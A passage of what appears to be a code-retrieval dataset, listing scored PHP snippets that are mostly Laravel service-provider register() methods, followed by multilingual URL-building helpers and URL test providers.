"text": "public function register()\n {\n $this->app->bind(CurrencyProviderInterface::class, CurrencyProvider::class);\n $this->app->bind(CalculatorInterface::class, Calculator::class);\n $this->app->bind(EcbApiConnectorInterface::class, EcbApiConnector::class);\n }", "title": "" }, { "docid": "8693ef7590498bfaf181f6e743ac5b7f", "score": "0.662514", "text": "public function register(): void\n {\n $this->app->bind(ExpoGateway::class, $this->createExpoGateway(...));\n $this->app->singleton(ExpoChannel::class);\n\n $this->callAfterResolving(ChannelManager::class, $this->extendManager(...));\n }", "title": "" }, { "docid": "16c38cb830a5cb3a2e62e0faf978d015", "score": "0.661613", "text": "public function register()\n {\n $this->app->bind(SoccerRepository::class, TeamRepository::class);\n $this->app->bind(SoccerRepository::class, PlayerRepository::class);\n }", "title": "" }, { "docid": "1173de51e3af16e4e2265c40b31285e9", "score": "0.66158634", "text": "public function register()\n {\n // サービス名でBindする\n // MEMO: まとめてbindする際、\\は2本入れとかないとエラーが出る\n foreach ($this->services as $service) {\n $this->app->bind(\n // 'App\\Services\\Csv\\CsvServiceInterface',\n // 'App\\Services\\Csv\\CsvService'\n \"App\\\\Services\\\\{$service}\\\\{$service}ServiceInterface\",\n \"App\\\\Services\\\\{$service}\\\\{$service}Service\"\n );\n }\n }", "title": "" }, { "docid": "06344506e7d63d9b0efd4b08175059e3", "score": "0.66113526", "text": "public function register()\n {\n $this->app->bind('HttpRequest', \\GuzzleHttp\\Client::class);\n \n $this->app->bind('VkApi', \\App\\Vk\\VkApi::class);\n }", "title": "" }, { "docid": "dc6dcf2342cf2a921b5a6aad002fd2be", "score": "0.66106623", "text": "public function register()\n {\n $this->app->bind(\\Satelite\\Products\\Repositories\\ProductRepository::class, \\Satelite\\Products\\Repositories\\ProductRepositoryEloquent::class);\n $this->app->bind(\\App\\Repositories\\Products\\ProductRepository::class, \\App\\Repositories\\Products\\ProductRepositoryEloquent::class);\n $this->app->bind(\\Satelite\\Repositories\\Products\\ProductImageRepository::class, \\Satelite\\Repositories\\Products\\ProductImageRepositoryEloquent::class);\n //:end-bindings:\n }", "title": "" }, { "docid": "d0bdee453368fc7b3856f137f4fa55b7", "score": "0.66098696", "text": "public function register()\n {\n $this->app->bind(OrderRepository::class, SpatieOrderRepository::class);\n }", "title": "" }, { "docid": "537cf483ac4b53fa6baffd41debce0ed", "score": "0.6609207", "text": "public function register()\r\n {\r\n $this->app->bind(Authentication::class, SentinelAuthentication::class);\r\n }", "title": "" }, { "docid": "465d28c08ad51c9b8ddf012b676ec54f", "score": "0.66067684", "text": "public function register()\n {\n $this->app->bind('gemboot-request', function ($app) {\n return new GembootRequest();\n });\n\n $this->app->bind('gemboot-response', function ($app) {\n return new GembootResponse();\n });\n\n $this->app->bind('gemboot-permission', function ($app) {\n return new GembootPermission();\n });\n\n $this->app->bind('gemboot-auth', function ($app) {\n return new AuthLibrary();\n });\n\n $this->app->bind('gemboot-validator', function ($app) {\n return new GembootValidator();\n });\n }", "title": "" }, { "docid": "a4338d41605c1348be2c5f348e4925bb", "score": "0.6604991", "text": "public function register()\n { \n $this->app->bind(NotificationInterface::class, NotificationEmail::class);\n }", "title": "" }, { "docid": "adb37c02884df17f5c0baad7cdd7c7f8", "score": "0.66020375", "text": "public function register()\n {\n // bind analytics\n $this->app->bind(\n GetAnalyticsHeaderDataAction::class,\n GetAnalyticsHeaderData::class\n );\n\n // bind news provider\n $this->app->bind(\n NewsProviderInterface::class,\n ImdbNewsProvider::class\n );\n\n $this->app->bind(\n AppUrlGenerator::class,\n UrlGenerator::class\n );\n }", "title": "" }, { "docid": "e08e0ffd29c444ea06de087fee8e373f", "score": "0.6601649", "text": "public function register()\n {\n $this->app->bind('Pimenta\\Domain\\EventStoreInterface', function () {\n return new EventStore();\n });\n\n $this->app->bind('Pimenta\\LaravelDomain\\Events\\DispatcherInterface',\n 'Pimenta\\LaravelDomain\\Events\\EventDispatcher');\n }", "title": "" }, { "docid": "e3fdc3eeab82d4e9c4483eda131adf16", "score": "0.6601162", "text": "public function register()\n {\n $this->app->bind(IPostService::class, PostService::class);\n $this->app->bind(IMemberService::class, MemberService::class);\n }", "title": "" }, { "docid": "6bc36762c35512dce42a93adc7277b06", "score": "0.6597402", "text": "public function register()\n {\n $idGenerator = $this->app->get('config')->get('urlshortener.idgenerator');\n $concreteGenerator = $idGenerator === \"uuid\" ? 'App\\Services\\UuidGenerator' : 'App\\Services\\ShortIdGenerator';\n\n $this->simpleBind([\n 'App\\Contracts\\UrlServiceInterface' => 'App\\Services\\UrlService',\n 'App\\Contracts\\IdGeneratorInterface' => $concreteGenerator,\n ]);\n }", "title": "" }, { "docid": "105705a4a956dababdf1bacd46634c33", "score": "0.6592505", "text": "public function register()\n {\n $this->app->bind(\n IRedisDB::class,\n function ($app) {\n return new RedisDB($app->make('redis'));\n }\n );\n $this->app->bind(\n IAggregateRepository::class,\n AggregateRepository::class\n );\n\n\n $this->app->bind(\n IEventStore::class,\n EloquentEventStore::class\n );\n\n $this->app->bind(\n IEventBus::class,\n LaravelEventBus::class\n );\n }", "title": "" }, { "docid": "469b6dcc2eada25738cbc759ee7e5687", "score": "0.6591567", "text": "public function register()\n {\n //en el register solo se debe vincular cosas en el contenedor de servicios. Nunca registrar detector de eventos, rutas u otra función.\n //definimos un binding en el que registramos nuestra clase en el service container\n }", "title": "" }, { "docid": "4341c669d6b1cbd8c3b350f0e53da0f9", "score": "0.6581794", "text": "public function register(): void\n {\n $this->app->bind(PagePaginationDataResolverInterface::class, $this->getPagePaginationResolverClosure());\n $this->app->bind(PagePaginationDataInterface::class, $this->getPagePaginationDataClosure());\n }", "title": "" }, { "docid": "6410950c949e4668db5facf0c27afc30", "score": "0.65807503", "text": "public function register()\n {\n Date::setLocale($this->app->getLocale());\n\n $this->app->bind(\n UserConnection::class,\n function () {\n $configuration = config('importable.users');\n return new RandomUserConnection(\n new RandomUserHttpClient([\n 'base_uri' => data_get($configuration, 'base_uri'),\n 'timeout' => data_get($configuration, 'timeout'),\n ])\n );\n }\n );\n }", "title": "" }, { "docid": "ee184ba6081cf9eaec42e54cf4e95eef", "score": "0.6578114", "text": "public function register()\n {\n $this->app->bind('KamiOrz\\Amqp\\Publisher', function ($app) {\n return new Publisher($app->config);\n });\n\n $this->app->bind('KamiOrz\\Amqp\\Consumer', function ($app) {\n return new Consumer($app->config);\n });\n\n $this->app->bind('Amqp', 'KamiOrz\\Amqp\\Amqp');\n\n if (!class_exists('Amqp')) {\n class_alias('KamiOrz\\Amqp\\Facades\\Amqp', 'Amqp');\n }\n }", "title": "" }, { "docid": "d9a3b44819f7da1c82b7bc2804d10231", "score": "0.6576232", "text": "public function register()\n {\n // Packages\n $this->app->bind(HashidsInterface::class, function (Container $app) {\n return new Hashids($app['config']['app']['key'], 6);\n });\n\n $this->registerUserClients();\n $this->registerOrganisationClients();\n $this->registerUsergroupClients();\n $this->registerActivityClients();\n }", "title": "" }, { "docid": "e21ad00d0357bb5ae7eb413964863168", "score": "0.65712005", "text": "public function register() {\n $services = [\n HomePageInterface::class => HomePageRepository::class,\n NumbersInterface::class => NumbersRepository::class,\n AboutPageInterface::class => AboutPageRepository::class,\n TeamsInterface::class => TeamsRepository::class,\n GamesInterface::class => GamesRepository::class,\n CalendarPageInterface::class => CalendarPageRepository::class,\n DonatePageInterface::class => DonatePageRepository::class,\n NewsInterface::class => NewsRepository::class,\n ContactInterface::class => ContactRepository::class,\n ];\n\n foreach ($services as $key => $value) {\n $this->app->bindIf($key, $value);\n }\n }", "title": "" }, { "docid": "72bf79124d7b7ba8defcad236c8e88bb", "score": "0.6567676", "text": "public function register()\n\t{\n\t\t$this->app->bind(SliderRepositoryContract::class, EloquentSliderRepository::class);\n\t\t$this->app->bind(ArticleRepositoryContract::class, EloquentArticleRepository::class);\n\t}", "title": "" }, { "docid": "6676be2753841d8ce7053034b122c94d", "score": "0.65665114", "text": "public function register()\n {\n\t \n\t /**\n\t\t * Clone the original ConfigFinder from Themosis\n\t\t**/\n\t $cloned = $this->app->bound('config.finder') ? $this->app['config.finder'] : null;\n\t \n $this->app->singleton('config.finder', function () {\n return new ConfigFinder();\n });\n \n /**\n\t\t * Retrive paths from ConfigFinder from Themosis\n\t\t**/\n $cloned && $this->app['config.finder']->addPaths($cloned->getPaths());\n\n $this->app->singleton('config.factory', function ($container) {\n return new ConfigFactory($container['config.finder']);\n });\n \n /**\n\t\t * Bind to config to ensure Illuminate compatibility\n\t\t**/\n $this->app->singleton('config', function() {\n\t return $this->app['config.factory'];\n });\n \n /**\n\t\t * Bind to Repository to ensure Illuminate compatibility\n\t\t**/\n $this->app->singleton(Repository::class, function() {\n\t return $this->app['config.factory'];\n });\n \n }", "title": "" }, { "docid": "26dba10c36dc33055b5133afc55cdfd7", "score": "0.6565754", "text": "public function register()\n {\n // Binding from part 9\n $this->app->bind(TeacherRepositoryContract::class, TeacherRepository::class);\n $this->app->bind(TeacherServiceContract::class, TeacherService::class);\n }", "title": "" }, { "docid": "7b13e92f0033dd6f71443b298f0769f9", "score": "0.65624106", "text": "public function register()\n {\n foreach (config('repositories') as $repository) {\n $this->app->singleton($repository);\n }\n }", "title": "" }, { "docid": "680604db275ce42f6ccd8bdbf37520b7", "score": "0.6557879", "text": "public function register(): void\n {\n $this->app->register(BindingInformationProvider::class);\n $this->app->register(ProviderInformationProvider::class);\n }", "title": "" }, { "docid": "d6f955b411e4af6487d4761009784724", "score": "0.6555098", "text": "public function register()\n {\n $this->getApplication()->bind(OrderRepositoryContract::class,OrderRepository::class);\n }", "title": "" }, { "docid": "a9e00433189f6eb7997de600db17fa6f", "score": "0.6550403", "text": "public function register()\n {\n $this->app->bind(Repository::class, FileRepository::class);\n\n $this->app->singleton('poppy', function ($app) {\n $repository = $app->make(Repository::class);\n\n return new Poppy($app, $repository);\n });\n }", "title": "" }, { "docid": "315266405fd9921cb1ca7bd95520d09d", "score": "0.65422386", "text": "public function register()\n {\n $this->app->bind(AccountsRepositoryResolver::getAbstract(), AccountsRepositoryResolver::getConcrete());\n }", "title": "" }, { "docid": "98ac2293fae3032b639573986f6edcea", "score": "0.6531965", "text": "public function register()\n {\n $this->app->bind(IEncryptionService::class, EncryptionService::class);\n $this->app->bind(IAuthService::class, AuthService::class);\n $this->app->singleton(IResponseService::class, ResponseService::class);\n $this->app->singleton(IGithubService::class, GithubService::class);\n }", "title": "" }, { "docid": "7723a7e7bace4caaa3cbf69daa31f17a", "score": "0.65296817", "text": "public function register()\n {\n $this->app->bind(\n 'App\\\\Repositories\\\\Matches\\\\IMatchesRepository',\n 'App\\\\Repositories\\\\Matches\\\\MatchesRepository'\n );\n }", "title": "" }, { "docid": "f88874fc68e5850a2d379e9bb40ab4da", "score": "0.65286636", "text": "public function register()\n {\n $this->app->bind(\n EventInterface::class,\n LaravelEvents::class\n );\n }", "title": "" }, { "docid": "8cf1fe58b3d2f5a518af5b996859178d", "score": "0.6528332", "text": "public function register()\n {\n $this->app->bind('Cryptocomp', function () {\n return new cryptocompare\\CryptocompareApi();\n });\n }", "title": "" }, { "docid": "2973cf3e5f059f8cbc9d4701be717a2d", "score": "0.6527881", "text": "public function register()\n {\n $this->app->bind(TransportContract::class, GuzzleTransport::class);\n\n if ($this->app->environment('local')) {\n $this->app->bind(TransportContract::class, CachedGuzzleTransport::class);\n }\n }", "title": "" } ]
e1ed56d141c3a5825269bf28f8e82a41
end of function Link News::makeMultiUrls() make array with current URL fo different languages versions
[ { "docid": "4cfd15d2f238dd51941c2828f9f3b859", "score": "0.8290895", "text": "function getMultiUrls(){\n $multiUrls = NULL;\n $SysLang = check_init('SysLang', 'SysLang', 'NULL, \"front\"');\n $mas_lang = $SysLang->GetLangData($this->lang_id, 'front');\n foreach($mas_lang as $k=>$v){\n if($v['cod']==$this->lang_id){\n $multiUrls[$SysLang->GetLangShortName($v['cod'])] = $this->Link($this->id_cat, $this->id);\n }else{\n //создавать нужно именно новый обьект, чтобы сформировать в нем новые массивы с данными на нужной языковой версии.\n $News = new News($v['cod']);\n $multiUrls[$SysLang->GetLangShortName($v['cod'])] = $News->Link($this->id_cat, $this->id, $v['cod']);\n unset($News);\n }\n }\n //var_dump($multiUrls);\n return $multiUrls;\n }", "title": "" } ]
[ { "docid": "ac409794ade59c95bdf6a93f8947866c", "score": "0.82557464", "text": "function getMultiUrls(){\n $multiUrls = NULL;\n $SysLang = check_init('SysLang', 'SysLang', 'NULL, \"front\"');\n $mas_lang = $SysLang->GetLangData($this->lang_id, 'front');\n foreach($mas_lang as $k=>$v){\n if($v['cod']==$this->lang_id){\n $multiUrls[$SysLang->GetLangShortName($v['cod'])] = $this->Link($this->category, $this->id);\n }else{\n //создавать нужно именно новый обьект, чтобы сформировать в нем новые массивы с данными на нужной языковой версии.\n $Article = new Article($v['cod']);\n $multiUrls[$SysLang->GetLangShortName($v['cod'])] = $Article->Link($this->category, $this->id, $v['cod']);\n unset($Article);\n }\n }\n //var_dump($multiUrls);\n return $multiUrls;\n }", "title": "" }, { "docid": "d20f054b4253b7f7a858f65be57dd0c6", "score": "0.66764337", "text": "function set_uris()\n{\n $ci =& get_instance();\n $langs = array('pt', 'en');\n $uri_set = array();\n\n $current_uri = $ci->uri->segment_array();\n\n array_shift($current_uri);\n\n $current_language = $ci->lang->languages[$ci->lang->lang()];\n $ci->lang->load('urls', $current_language);\n\n $translations = $ci->lang->language;\n $uri = implode('/', $current_uri);\n $key_to_url = array_search($uri, $translations);\n\n foreach ($langs as $lang) {\n $language = $ci->lang->languages[$lang];\n\n $ci->lang->unload();\n $ci->lang->load('urls', $language);\n\n $translated_uri = '';\n if (isset($ci->lang->language[$key_to_url])) {\n $translated_uri = $ci->lang->language[$key_to_url];\n }\n\n $redirect_to = base_url().$lang.'/'.$translated_uri;\n $uri_set[$lang] = $redirect_to;\n }\n\n $ci->lang->unload();\n \n return $uri_set;\n}", "title": "" }, { "docid": "b58c75cce86b4f911f2c1d311d46e6f0", "score": "0.6319832", "text": "private function set_url(){\n try{\n $url_uri = $this->Uri . \"?\";\n $url_pos = strpos( $url_uri, \"?\" );\n $url_site = substr( $url_uri, 0, $url_pos );\n $urls = explode( \"/\", $url_site );\n array_shift( $urls );\n\t\t\t$newUrls = array();\n foreach($urls as $key => $value){\n\t\t\t\tif(!empty($value)){\n\t\t\t\t\t$newUrls[] = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->Urls = $newUrls;\n }catch(Exception $e){\n\t\t\tthrow $e;\n\t\t}\t\n }", "title": "" }, { "docid": "f0cfe888bf4e3409af795a01ea03808f", "score": "0.62915003", "text": "function api_urls()\r\n {\r\n return array(\r\n array(\r\n 'name' => '',\r\n 'url' => '',\r\n ),\r\n array(\r\n 'name' => 'melt.li',\r\n 'url' => 'http://melt.li/?api=1&u=%s',\r\n ),\r\n array(\r\n 'name' => 'unrelo.com',\r\n 'url' => 'http://unrelo.com/?api=1&u=%s',\r\n ),\r\n array(\r\n 'name' => 'lin.io',\r\n 'url' => 'http://lin.io/?api=1&u=%s',\r\n ),\r\n array(\r\n 'name' => 'bit.ly',\r\n 'url' => 'http://bit.ly/api?url=%s',\r\n ),\r\n array(\r\n 'name' => 'u.nu',\r\n 'url' => 'http://u.nu/unu-api-simple?url=%s',\r\n ),\r\n array(\r\n 'name' => 'tinyurl.com',\r\n 'url' => 'http://tinyurl.com/api-create.php?url=%s',\r\n ),\r\n array(\r\n 'name' => 'a.gd',\r\n 'url' => 'http://a.gd/?module=ShortURL&file=Add&mode=API&url=%s',\r\n ),\r\n array(\r\n 'name' => 'fwd4.me',\r\n 'url' => 'http://api.fwd4.me/?url=%s',\r\n ),\r\n array(\r\n 'name' => 'su.pr',\r\n 'url' => 'http://su.pr/api?url=%s',\r\n ),\r\n array(\r\n 'name' => 'redir.ec',\r\n 'url' => 'http://redir.ec/_api/rest/redirec/create?url=%s',\r\n ),\r\n array(\r\n 'name' => 'href.be',\r\n 'url' => 'http://href.be/api?url=%s',\r\n ),\r\n array(\r\n 'name' => 'zip.li',\r\n 'url' => 'http://zip.li/api?longUrl=%s',\r\n ),\r\n array(\r\n 'name' => 'mug.im',\r\n 'url' => 'http://mug.im/create?url=%s&format=text',\r\n ),\r\n );\r\n }", "title": "" }, { "docid": "31f752f6db3f0974c96c5a960d152d17", "score": "0.61469597", "text": "function get_urls($language){\n if($language === 'english'){\n return array('NASB' => 'https://www.bible.com/ur/bible/100/',\n 'NIV' => 'https://www.bible.com/ur/bible/111/');\n }\n if($language === 'finnish'){\n return array('1933/1938' => 'https://www.bible.com/ur/bible/365/',\n '1992' => 'https://www.bible.com/ur/bible/330/');\n }\n}", "title": "" }, { "docid": "ae8dfbf32e92d5f0b1566c151e43fa7d", "score": "0.6081728", "text": "abstract public function getListeUrl();", "title": "" }, { "docid": "31ff7606a7808d7ab62ccbbf6ba48366", "score": "0.6023947", "text": "private function get_urls() {\n\n\t\t$targets = $this->negotiation->get_redirect_targets( array(\n\t\t\t'strict' => false,\n\t\t) );\n\t\tif ( ! $targets ) {\n\t\t\treturn array();\n\t\t}\n\n\t\t$urls = array();\n\n\t\tforeach ( $targets as $target ) {\n\t\t\t$urls[ $target['language'] ] = $target['url'];\n\t\t}\n\n\t\treturn $urls;\n\t}", "title": "" }, { "docid": "6496e62bd2389df8f55c4126713a7d73", "score": "0.5994405", "text": "function compendium_pages_list_urls() : array\n{\n // Get the user's current language\n $lang = sanitize(string_change_case(user_get_language(), 'lowercase'), 'string');\n\n // Fetch the page urls\n $qpages = query(\" SELECT compendium_pages.page_url AS 'p_url'\n FROM compendium_pages\n WHERE ( compendium_pages.title_$lang != ''\n OR compendium_pages.redirection_$lang != '' )\n AND compendium_pages.is_deleted = 0\n AND compendium_pages.is_draft = 0\n ORDER BY compendium_pages.page_url ASC \");\n\n // Prepare an array with the page urls\n $data = array();\n while($dpages = mysqli_fetch_array($qpages))\n array_push($data, $dpages['p_url']);\n\n // Return the array containing the page urls\n return $data;\n}", "title": "" }, { "docid": "d3e8feac3a610126b9e0f42f28376b3e", "score": "0.59554493", "text": "public function URLProvider()\n {\n return [[\"http://example.com\"], [\"https://example.com\"]];\n }", "title": "" }, { "docid": "375b5bb55a8fbafb81064ff1cc046a9d", "score": "0.595059", "text": "public function getLocalizedUrls()\n{\n $localizedUrls = array();\n $requestUri = craft()->request->getRequestUri();\n $excludeLocales = craft()->config->get(\"excludeLocales\", \"seomatic\");\n if (craft()->isLocalized())\n {\n $element = craft()->urlManager->getMatchedElement();\n if ($element)\n {\n $unsortedLocalizedUrls = array();\n $_rows = craft()->db->createCommand()\n ->select('locale')\n ->addSelect('uri')\n ->from('elements_i18n')\n ->where(array('elementId' => $element->id, 'enabled' => 1))\n ->queryAll();\n\n foreach ($_rows as $row)\n {\n $path = ($row['uri'] == '__home__') ? '' : $row['uri'];\n $url = UrlHelper::getSiteUrl($path, null, null, $row['locale']);\n if (craft()->config->get('addTrailingSlashesToUrls')) {\n $url = rtrim($url, '/') . '/';\n }\n $unsortedLocalizedUrls[$row['locale']] = $url;\n }\n\n $locales = craft()->i18n->getSiteLocales();\n foreach ($locales as $locale)\n {\n $localeId = $locale->getId();\n if (!in_array($localeId, $excludeLocales)) {\n if (isset($unsortedLocalizedUrls[$localeId]))\n $localizedUrls[$localeId] = $unsortedLocalizedUrls[$localeId];\n }\n }\n }\n else\n {\n $locales = craft()->i18n->getSiteLocales();\n foreach ($locales as $locale)\n {\n $localeId = $locale->getId();\n if (!in_array($localeId, $excludeLocales)) {\n $localizedUrls[$localeId] = UrlHelper::getSiteUrl($requestUri, null, null, $localeId);\n }\n }\n }\n }\n return $localizedUrls;\n}", "title": "" }, { "docid": "6a3dbdaa082f28aa8839a49755156d9a", "score": "0.59394014", "text": "public function getSitemapURLs();", "title": "" }, { "docid": "464da97ad082e3138a4a59c7632ff102", "score": "0.5890421", "text": "function _explode_segments()\n {\n foreach (explode(\"/\", preg_replace(\"|/*(.+?)/*$|\", \"\\\\1\", $this->url_string)) as $val)\n {\n # Filter segments for security\n $val = trim($this->_filter_url($val));\n \n if ($val != '')\n {\n $this->segments[] = $val;\n }\n }\n \n # set languages based on first url part\n \n $lang = false;\n\n if(isset($this->segments[0]) && ($this->segments[0] != '' || !empty($this->segments[0])))\n {\n $lang = $this->db->query('SELECT * FROM language WHERE code = \"' . $this->segments[0] . '\"');\n }\n\n \n # define CONST based on language data\n if($lang != false)\n {\n define('LANG_CODE', $lang[0]['code']);\n define('CUR_LANG', $lang[0]['language_id']);\n\n define('BASE_URL', SITE_URL . LANG_CODE . '/');\n\n # remove the language code from the url segments array\n array_shift($this->segments);\n }\n else\n {\n define('LANG_CODE', $this->config->item('default_language_code'));\n define('CUR_LANG', $this->config->item('default_language'));\n \n define('BASE_URL', SITE_URL);\n }\n \n # remove first url segment when REQUEST_URI is used\n # the first url segment will be a directory\n # TODO: check for errors on domains other than beeldbelovend\n if(BASE_HOST == 'arramedia' && $this->protocol == 'REQUEST_URI')\n {\n array_shift($this->segments);\n //array_shift($this->segments);\n }\n }", "title": "" }, { "docid": "d8fb61bf916c789c6389d43065204b51", "score": "0.5775011", "text": "public function getUrls();", "title": "" }, { "docid": "71d25ce012231c2c4a81b0f7cc773c9f", "score": "0.5750835", "text": "function prepare_plugins_urls(){\n\n foreach( (array)$this->config->plugins as $plugin => $version ){\n\n $content = file_get_contents( str_replace( '{slug}', $plugin, self::API_PLUGIN_ENDPOINT ) );\n\n if( ! $content ){\n print \"\\n[error] Plugin not found: {$plugin} {$version}\\n\";\n die;\n }\n \n $json = json_decode( $content, true );\n \n if( isset( $json['error'] ) ){\n print \"\\n[error] Plugin not found: {$plugin} {$version}\\n\";\n die;\n }\n\n if( in_array( strtolower($version), ['latest', 'trunk'] ) ){ \n $plugin_url = end( $json['versions'] );\n }\n elseif( ! isset( $json['versions'][ $version ] ) ){\n $plugin_url = end( $json['versions'] );\n }\n else{\n $plugin_url = $json['versions'][ $version ];\n }\n\n $this->plugins[$plugin] = [\n 'slug' => $plugin,\n 'version' => $version,\n 'url' => $plugin_url,\n ];\n\n sleep(2);\n }\n }", "title": "" }, { "docid": "029d029df7cdd6e83a8d48a8b74b502e", "score": "0.57496834", "text": "private function _getLinks()\n {\n $links = array();\n // variable or section name => (name => url)\n\n $links['table'][__('Flush (close) all tables')] = $this->selfUrl\n . Url::getCommon(\n array(\n 'flush' => 'TABLES'\n )\n );\n $links['table'][__('Show open tables')]\n = 'sql.php' . Url::getCommon(\n array(\n 'sql_query' => 'SHOW OPEN TABLES',\n 'goto' => $this->selfUrl,\n )\n );\n\n if ($GLOBALS['replication_info']['master']['status']) {\n $links['repl'][__('Show slave hosts')]\n = 'sql.php' . Url::getCommon(\n array(\n 'sql_query' => 'SHOW SLAVE HOSTS',\n 'goto' => $this->selfUrl,\n )\n );\n $links['repl'][__('Show master status')] = '#replication_master';\n }\n if ($GLOBALS['replication_info']['slave']['status']) {\n $links['repl'][__('Show slave status')] = '#replication_slave';\n }\n\n $links['repl']['doc'] = 'replication';\n\n $links['qcache'][__('Flush query cache')]\n = $this->selfUrl\n . Url::getCommon(\n array(\n 'flush' => 'QUERY CACHE'\n )\n );\n $links['qcache']['doc'] = 'query_cache';\n\n $links['threads']['doc'] = 'mysql_threads';\n\n $links['key']['doc'] = 'myisam_key_cache';\n\n $links['binlog_cache']['doc'] = 'binary_log';\n\n $links['Slow_queries']['doc'] = 'slow_query_log';\n\n $links['innodb'][__('Variables')]\n = 'server_engines.php?' . Url::getCommon(array('engine' => 'InnoDB'));\n $links['innodb'][__('InnoDB Status')]\n = 'server_engines.php'\n . Url::getCommon(\n array(\n 'engine' => 'InnoDB',\n 'page' => 'Status'\n )\n );\n $links['innodb']['doc'] = 'innodb';\n\n return($links);\n }", "title": "" }, { "docid": "6a0461c40c6fb0bca3abd04bf9b8dc2a", "score": "0.5737661", "text": "public function urlProvider()\n {\n return [\n // Malformed URLs.\n\n [\n null,\n null\n ],\n [\n 'yandex.ru/search',\n 'yandex.ru/search'\n ],\n [\n '/search',\n '/search'\n ],\n [\n 'scheme+RFC-3986.compliant://php.net',\n 'scheme+rfc-3986.compliant://php.net',\n 'scheme+rfc-3986.compliant://php.net',\n ],\n [\n 'mail@php.net',\n 'mail@php.net'\n ],\n [\n 'https://alfabank.ru/sendmail/?backurl=/sme/overdraft/feedback/&backname=%C7%E0%E4%E0%F2%FC%20%E2%EE%' .\n 'EF%F0%EE%F1',\n 'https://alfabank.ru/sendmail/?backurl=/sme/overdraft/feedback/&backname=%C7%E0%E4%E0%F2%FC%20%E2%EE%' .\n 'EF%F0%EE%F1'\n ],\n\n // ASCII symbols.\n\n [\n 'http://php.net/manual/ru/function.parse-url.php',\n 'http://php.net/manual/ru/function.parse-url.php'\n ],\n [\n 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment',\n 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment'\n ],\n [\n 'http://php.net',\n 'http://php.net'\n ],\n [\n 'http://php.net/',\n 'http://php.net/'\n ],\n [\n 'http://php.net/?test=1',\n 'http://php.net/?test=1'\n ],\n [\n 'hTTp://php.net/?test=1',\n 'http://php.net/?test=1',\n 'http://php.net/?test=1',\n ],\n [\n 'http://php.NET',\n 'http://php.net',\n 'http://php.net',\n ],\n [\n 'http://php.NET',\n 'http://php.net',\n 'http://php.net'\n ],\n [\n 'http://php.net/?TEST',\n 'http://php.net/?TEST'\n ],\n\n // Cyrillic symbols.\n\n [\n 'https://ru.wikipedia.org/wiki/Аврелий_Августин',\n 'https://ru.wikipedia.org/wiki/%D0%90%D0%B2%D1%80%D0%B5%D0%BB%D0%B8%D0%B9_%D0%90%D0%B2%D0%B3%D1%83%D1' .\n '%81%D1%82%D0%B8%D0%BD'\n ],\n [\n 'http://www.codeisart.ru/blog/Работа-со-строками-в-javascript/',\n 'http://www.codeisart.ru/blog/%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0-%D1%81%D0%BE-%D1%81%D1%82%D1%80%D0' .\n '%BE%D0%BA%D0%B0%D0%BC%D0%B8-%D0%B2-javascript/'\n ],\n [\n 'http://sistem.in.ua/sample-page/вытягиваем-из-html-данные-для-анализа/',\n 'http://sistem.in.ua/sample-page/%D0%B2%D1%8B%D1%82%D1%8F%D0%B3%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC-%D0%B8%' .\n 'D0%B7-html-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5-%D0%B4%D0%BB%D1%8F-%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0' .\n '%B7%D0%B0/',\n ],\n [\n 'http://здоровьесемьи21.рф/услуги',\n 'http://xn--21-dlchgakm9aqaxq6me.xn--p1ai/%D1%83%D1%81%D0%BB%D1%83%D0%B3%D0%B8'\n ],\n [\n 'http://пример.рф/страница?раздел=тестовый#тестовый раздел',\n 'http://xn--e1afmkfd.xn--p1ai/%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0?%D1%80%D0%B0%D0%B7%D0%' .\n 'B4%D0%B5%D0%BB=%D1%82%D0%B5%D1%81%D1%82%D0%BE%D0%B2%D1%8B%D0%B9#тестовый раздел'\n ],\n [\n 'яндекс.рф/search',\n 'xn--d1acpjx3f.xn--p1ai/search'\n ],\n [\n '/поиск',\n '/%D0%BF%D0%BE%D0%B8%D1%81%D0%BA'\n ],\n\n // Chinese symbols.\n\n [\n 'https://zh-classical.wikipedia.org/wiki/聖奧思定',\n 'https://zh-classical.wikipedia.org/wiki/%E8%81%96%E5%A5%A7%E6%80%9D%E5%AE%9A'\n ],\n\n // Arabic symbols.\n\n [\n 'https://ckb.wikipedia.org/wiki/ئۆگەستین',\n 'https://ckb.wikipedia.org/wiki/%D8%A6%DB%86%DA%AF%DB%95%D8%B3%D8%AA%DB%8C%D9%86'\n ],\n\n // Kannaḍa symbols.\n\n [\n 'https://kn.wikipedia.org/wiki/ಸೇಂಟ್_ಆಗಸ್ಟೀನ್',\n 'https://kn.wikipedia.org/wiki/%E0%B2%B8%E0%B3%87%E0%B2%82%E0%B2%9F%E0%B3%8D_%E0%B2%86%E0%B2%97%E0%B2' .\n '%B8%E0%B3%8D%E0%B2%9F%E0%B3%80%E0%B2%A8%E0%B3%8D'\n ],\n\n /**\n * Test cases from `url-testing`.\n * @see https://raw.githubusercontent.com/cweb/url-testing/master/urls.json\n */\n\n // A U+0020 space in the fragment.\n\n [\n 'http://www.example.com/#hello, world',\n 'http://www.example.com/#hello, world'\n ],\n\n // Percent-encoding in the fragment.\n\n [\n 'http://www.example.com/#%c2%a9',\n 'http://www.example.com/#%c2%a9'\n ],\n\n // Illegal percent-encoding.\n\n [\n 'http://www.example.com/#%41%a',\n 'http://www.example.com/#%41%a'\n ],\n\n // An extra U+0023 NUMBER SIGN in middle of the fragment.\n\n [\n 'http://www.example.com/#asdf#qwer',\n 'http://www.example.com/#asdf#qwer'\n ],\n\n // An extra U+0023 NUMBER SIGN at the start of fragment.\n\n [\n 'http://www.example.com/##asdf',\n 'http://www.example.com/##asdf'\n ]\n ];\n }", "title": "" }, { "docid": "0f3ee6364b7c3a49ec80b2186a503dd8", "score": "0.5716928", "text": "function html_menu_toma_url($m)\n{\n $r = array();\n if (!is_array($m)) {\n return $r;\n }\n foreach ($m as $ent) {\n if (isset($ent['url']) && $ent['url'] != null) {\n $r[] = $ent['url'];\n }\n if (isset($ent['sub']) && $ent['sub'] != null) {\n $r = array_merge($r, html_menu_toma_url($ent['sub']));\n }\n }\n return $r;\n}", "title": "" }, { "docid": "98f71ca6e1041c8c3a481806897df88d", "score": "0.57161903", "text": "public static function socialNetworkingSites()\n {\n $array=[\n 